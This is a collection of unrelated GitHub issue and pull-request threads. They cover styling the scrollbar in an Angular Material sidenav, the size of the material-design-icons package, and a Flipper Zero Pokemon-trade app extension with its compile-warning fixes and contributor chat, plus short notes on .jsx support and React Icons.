mat-sidenav-container::-webkit-scrollbar {
  width: 0.5em !important;
}

mat-sidenav-container::-webkit-scrollbar-track {
  -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3) !important;
}

mat-sidenav-container::-webkit-scrollbar-thumb {
  background-color: darkgrey !important;
  outline: 1px solid slategrey !important;
}

What is the current behavior?
Nothing happens when I try either of these options
What are the steps to reproduce?
Ermm, Use side-nav-container with a normal sidenav and try and set the scroll bar
What is the use-case or motivation for changing an existing behavior?
Make it more easily customizable
Which versions of Angular, Material, OS, TypeScript, browsers are affected?
Latest version of all, Windows 10, x64 and testing on chrome (Note I can modify the scrollbar easily if I dont have a sidenav container

Okay ermm I didnt expect this to fix it but it did, but its not exactly ideal because it applies to everything, which is fine for my needs but obviously not for all.
In Style.scss (or style.css depending on your settings)
I applied this:
*::-webkit-scrollbar {
  width: 0.5em;
}

*::-webkit-scrollbar-track {
  -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
}

*::-webkit-scrollbar-thumb {
  background-color: darkgrey;
  outline: 1px solid slategrey;
}

Which is simply setting all items to my custom scrollbar,  it used to be body,which works but not within mat-sidenav-container but this will
I assume you can probably just overrule these options where you want a custom scrollbar in particular divs or elements!

You can target mat-sidenav-content for this purpose, it's the element that actually scrolls: https://stackblitz.com/edit/angular-material2-issue-tvueuk?file=app/app.component.css

My node_modules sorted by directory size demonstrates
how specific the size of the material-design-icons package is,
(sole non "solution-" package largely above 10 megs)
and why it takes much longer to load.
On the other hand dowloading 45 megs is must faster for a single file using http,
than when installing  material-design-icons in a project,
might any optimisation of the download process be possible ?
@angular                66 154 849
material-design-icons   45 865 755
@angular-devkit         34 242 642
typescript              26 290 298
then,
between 10 and 5 megs:      2 packages
between  5 and 3 megs:      4 packages
between  3 and 2 megs:      3 packages
between  2 and 1 megs:     16 packages
between  1 megs and 500k : 19 packages
between  500k and 300k :   15 packages
between  300k and 200k :   18 packages
between  200k and 100k :   40 packages
between  100k and 50k :    55 packages
between  50k and 30k :     78 packages
between  50k and 30k :     78 packages
between  30k and 20k :     78 packages
between  20k and 15k :     77 packages
between  15k and 10k :     94 packages
between  10k and  7k :     92 packages
between   7k and  5k :    107 packages
between   5k and  3k :    54 packages
between   3k and  2k :     7 packages


Extended Functionality

Introduction:
As it stands now, the original code lets you pick a Pokemon to trade.
The issue was that the traded Pokemon had these details hardcoded:

Nickname
Level
Experience
IV/EV
Max Health
Attack, Defence, Speed and Special Stats
Moves
Additionally, the Pokemon's Type was hardcoded, however the game would ignore the hardcoded values.

I have now extended the codebase to allow for the user to input a choice for each of these values.
Level View:
A level selection screen was added using a similar view to the Pokemon selection screen.
This view allows the user to select a level between level 3 and level 100.
The reason for limiting the minimum level to level 3 is due to the later required EXP calculations needed to ensure the traded Pokemon has the correct amount of EXP.
Stats View:
A stats view screen was added using a similar view to the Pokemon selection screen.
This view allows the user to select the stats of the traded Pokemon based on some preset values.

Random IV - Sets a randomised value for the traded Pokemon's IV (similar to a real Pokemon catch)
Max IV - Sets the traded Pokemon's IV to 0xFFFFFF which is the perfect IV for a Pokemon
Zero EV - Sets the EV to zero impying the traded Pokemon has not been trained (similar to a real Pokemon catch)
Max EV / Lvl - Sets the EV to (65535/100)*Lvl which assumes the Pokemon has been perfectly trained as each level
Max EV - Set the EV to 65535 which is the maximum EV a Pokemon can have (max trained Pokemon)

Move View:
Four move view screens were added using a similar view to the Pokemon selection screen.
These views allow the user to select the 4 moves the traded Pokemon will have.
The option of "No Move" was added should the user wish to have less than 4 moves populated.
Modifications to existing code:
pokemon_data.h
The trade_data_block object was updated to set the Original Trainer and Nickname strings to the correct length.
These strings were also updated to no longer use 0x00 as a string terminator and instead use _TERM only.
pokemon_app.hpp
The required changes were made to include the addional views.
Additional variables were defined to facilitate the required logic for the additional views.
pokemon_data.cpp
The required changes were made to include the addional views.
The pokemon_table array was updated to include additional data about each Pokemon, including:

Type
EXP Growth
Base Stats
The 'move_table' array was added to allow for an index of all available moves in Pokemon Red, Blue and Yellow and their hexidecimal value.

trade.cpp
The convertCharToTagHex method was added:

Code includes a swtich statement to convert from a char to the appropriate TAG for that character.

The trade_enter_callback method was modified as follows:

with_view_model_cpp method call was updated to pull all needed variables from the app object.
Code was added to set the traded Pokemon's nickname data to the chosen Pokemon's name.
Code was added to set the traded Pokemon's level data to the chosen level.
Code was added to calculate the traded Pokemon's EXP based on the chosen level and the chosen Pokemon's EXP growth attribute. The traded Pokemon's EXP  data was then set to the results of the calculations.
Code was added to set the traded Pokemon's EV values based on the chosen EV options.
Code was added to set the traded Pokemon's IV values based on the chosen IV options.
Code was added to calculate the traded Pokemon's current stats based on the chosen level, IV, EV the the chosen Pokemon's base stats. The traded Pokemon's stats data was then set to the results of the calculations.
Code was added to set the traded Pokemon's type data to the types based on the chosen Pokemon.
Code was added to set the traded Pokemon's move data to the chosen moves.

Repo:
To keep my fork clean and accurate to the work I have done, I did remove the additional .md files that weren't relevant to my repo. These include:

README_catalog.md
README_es.md
changelog.md

README.md

Updated the "Introduction" to remove the PoC disclaimer and state the current available functionality.
Added to the instructions to include the new functionality (including screenshots)
Removed the image under "Implemented by" section and replaced it with links to the original repo and my repo.
Cleaned up and added to the "TODO" list.

Note:
There is a bug with the Pokemon trade that the traded Pokemon may lose a level or two following a Pokemon battle.
I believe this bug predated my changes, it was just not noticeable with the hard coded high level of the traded Pokemon.
However, now that you can trade a low level Pokemon, it may drop in level and/or take a few extra battles to level them up.
I am not currently sure why this is happening, since the traded Pokemon's level and EXP look correct after the trade.
More debugging is needed to investigate.
Conclusion:
I hope this documentation suffices for a explanation of my work and the changes made to the original code.
Let me know if you have any questions, comments or requests for changes to be made.
I'm happy to help with anything needed to get the pull request accepted, but I'm also happy to leave my fork as it stands should people wish to get the updated functionality.
I am done with updating my fork for now and 'm not sure how likely I am to continue further development soon, but in all likelyhood I will come back to this in the future and add some more functionality. For now, I am happy with how it is.

Great work! I'll have people that use my firmware test your changes... just a heads up... you have these compile errors...
applications/external/pkmn_trader/views/trade.cpp:414:10: warning: multi-character character constant [-Wmultichar]
414 |     case '♂':
|          ^~~
applications/external/pkmn_trader/views/trade.cpp:416:10: warning: multi-character character constant [-Wmultichar]
416 |     case '♀':
|          ^~~
applications/external/pkmn_trader/views/trade.cpp: In function 'unsigned char convertCharToTagHex(char)':
applications/external/pkmn_trader/views/trade.cpp:416:5: warning: case label value exceeds maximum value for type [-Wswitch-outside-range]
416 |     case '♀':
|     ^~~~
applications/external/pkmn_trader/views/trade.cpp:414:5: warning: case label value exceeds maximum value for type [-Wswitch-outside-range]
414 |     case '♂':
|     ^~~~

Fixed the compile warnings.
I figured it should still have worked with the warnings, but didn't specifically test Nidoran.
I have fixed it now by using Unicode encoding instead of the actual characters themselves.
Also, while I was at it, I fixed the Nidoran names in the dataset to remove the spaces, which would have caused issues with evolving and keeping the "Nidoran ♂" name instead of changing to "Nidorino".

Awesome!
I got some time and started spinning up learning different UI patterns and am working on a less linear menuing system that should be easier to specify arbitrary names/values/list items/etc. Once this gets merged in I'll rebase in to these.
@R4g3D, @EstebanFuentealba, I've got some proto GameBoy Link cable Flipper GPIO boards coming shortly, would be happy to send you both one if you are interested as thanks for putting this together and making contributions (assuming there are no issues with the boards of course 😅). If you are interested, shoot me an email at kris (at) kbembedded (dot) com to arrange.

Awesome!
I got some time and started spinning up learning different UI patterns and am working on a less linear menuing system that should be easier to specify arbitrary names/values/list items/etc. Once this gets merged in I'll rebase in to these.
@R4g3D, @EstebanFuentealba, I've got some proto GameBoy Link cable Flipper GPIO boards coming shortly, would be happy to send you both one if you are interested as thanks for putting this together and making contributions (assuming there are no issues with the boards of course 😅). If you are interested, shoot me an email at kris (at) kbembedded (dot) com to arrange.

Wow, that's amazing, we think alike, hahaha! I'm also working on a project board, so I imagine it could be similar (though I hope not, because I've put a lot of time into it, hahaha). I'd be delighted to buy a board from you!"

@kbembedded "Please send me your WhatsApp or email so that I can share with you what I'm working on.

a great job, @R4g3D ! I hadn't been able to see this; I'll incorporate it right away!

kris (at) kbembedded (dot) com
I don't have WhatsApp unfortunately.
I do plan on open-sourcing the board files once they are done. However that might not be much use to people since I use EagleCAD classic (which is not really available anymore) and AutoDesk nixed their Eagle and folded in to their main tools.

Honestly, the electronics side of things is where I get lost, not even sure I know what you mean by a project board 😂 I'm just using a link cable I cut and soldered some GPIO pins to.
I actually broke my Flipper today which is a real bummer, dropped it by accident. The micro SD slot wouldn't accept a card, so I had to take it apart and try repairing it. Only got it working by ripping out the spring. So now my SD card is a permanent part of my Flipper 😞 no quick ejects to do file transfers or whatever.
I am keen to see what you guys are working on though, so include me in the mail trail if you don't mind. My email is: darryncull (at) gmail (dot) com
Not sure sending me one would be an easy option, I live in South Africa so it's quite expensive to courier things here, and our national mail service is useless.
I'm just glad to be contributing 😬


Enabled optional support for .jsx files

This enables .js and .jsx components to be mixed and matched, however a recompile is necessary if renaming one to the other.

Great job, @rocifier! Thank again for the PR. 🙂


Get React Icons Working with CRA and Next.js

Working with direct import. Having troubles with the packaging.
Vite seems to be working with: https://www.npmjs.com/package/vite-plugin-svgr

Move all the assets to our app instead of using react icons lib.

[ ] Download the icons used in the UI
[ ] Update imports to use dl'd assets
[ ] Smoke test other apps